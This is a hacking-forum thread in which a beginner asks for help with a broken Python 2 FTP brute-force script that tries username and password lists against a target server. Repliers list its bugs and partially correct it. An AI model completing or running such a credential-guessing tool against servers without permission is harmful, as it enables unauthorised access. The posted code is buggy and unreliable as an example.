Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Python 

I'm a beginner trying to learn !

Hey Hf members !
i recently got my self into Python
and started to enjoy it by making new script of FTP bruteforcer
anyways ; i wrote all of that from what i understood of FTP library and python basics

and tried to make a script out of it
i tried to dictionary the usernames by raw_inputting
and so are the passwords
if you could help me here by telling me whats wrong and how do i improve

(im just learning , please dont mind me and thanks)

Code
from ftplib import FTP
import sys

target = raw_input("FTP : ")
usr = raw_input ("User list : ")
pw = raw_input('pass list : ')

def ftp_login( usr ,pw ):
    try:
       ftp.login(target,usr,pw)
       ftp = FTP(target)
       ftp.quit()
       print "user found {}" .format.usr
       print "pw found {}" .format.pw
       sys.exit(0)
    except:
       pass
def anontry (target):
    ftp = FTP(target)
    FTP.login()
    print "user is anonymous"
    print "pass is anonymous"

def brute_force(target,usr,pw):
    try:
         fo = open(pw,"r")
         wordlist=pw.readlines()
         for word in wordlist:
            word=word.strip()
         ftp_login(target,user,word)
         fo1 = open(usr,"r")
         usrlist = usr.readlines()
         for user in usrlist:
             user=user.strip()
    except:
         print 'not found !'
         sys.exit(0)
brute_force(target,usr,pw)
anontry(target)
Well, firstly, what is it not doing that you want it to? Secondly, I’d recommend switching from Python 2.x to Python 3.x as 2.x is outdated and will lose support in 2020.
i tried excuting the code and selected user / pass list and ftp host to try
the command prompt broke the line then
it printed the exception of the functio, brute_forcer (not found)
also if i could add the counter or at least which user names and password it is using / trying
Please make a bigger effort explaining what you are trying to do, and please copy and paste the Exception you got.
Just by plain sight I can already see many errors:
(Working with Python 3.X Although there will not be many differences)

I will just start by saying that your code is kinda messed up. It is really hard to understand it, although it shoud be something simple, but i will get to that later, for now i will just correct some corrections I have made on your code.

PHP Code

<?php 
def ftp_login
(usr, pw):
 
   try:
 
       # First of all, you had this turned around. You first need to create an instance of the class 'FTP'
 
       ftp = FTP(target)
 
       ftp.login(target, usr, pw)
 
       ftp.quit()
 
       # The 'format' method is used like any other method; with parenthesis
 
       print "user found {}" .format(usr)
 
       print "pw found {}" .format(pwd)
 
       # sys.exit() is not recommended
 
       return
    
# Using Exception handling with a 'pass' statement is considered bad practice
 
   except:
 
      pass 

Onto the next one...
PHP Code

<?php 
# I don't even know why you defined this function...
def anontry (target):
   ftp = FTP(target)
   FTP.login()
   print "user is anonymous"
   print "pass is anonymous" 

And here we are, the main function! Let's see what have here...

PHP Code

<?php 
def brute_force
(target, pw, usr):
   try:
 
       # You forgot to close the file later
        fo = open(pw, "r")
        wordlist = pw.readlines()
 
      # This is just very badly implemented, the variable 'word' never changes ater this code
        for word in wordlist:
           word = word.strip()
 
       # We close the file
 
       fo.close()
        fo1 = open(usr,"r")
        usrlist = usr.readlines()
        for user in usrlist:
            user=user.strip()
 
       # Make sure to login AFTER you have declared
 
       ftp_login(target, user, word)
   except:
        print 'not found !'
        sys.exit(0)
brute_force(target,usr,pw)
anontry(target) 

Ok, change of plans. You really need to practice your programming logic before trying to make complex things.
I reaserched a little bit and i noticed you tried to copy this code: github[dot]com/arjnklc/FTP-Brute-Forcer/blob/master/ftp_brute_forcer.py
and that is why there are so many things you do not understand.

I recommend you learn and practice programming logic, pseudocode, and learn how to code in some language before you start making complex things like this.
Good luck and email me at [email protected] if you have any doubts.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C] by 4lek5May 26, 2022 03:29 PM 2 229 May 26, 2022 03:29 PM
Last Post: Sajuuk
[C#] by 4lek5May 13, 2022 09:45 AM 3 235 May 13, 2022 09:45 AM
Last Post: WTF¿
[Python] by 3r3busMar 20, 2016 03:16 PM 8 183 Mar 20, 2016 03:16 PM
Last Post: Shoe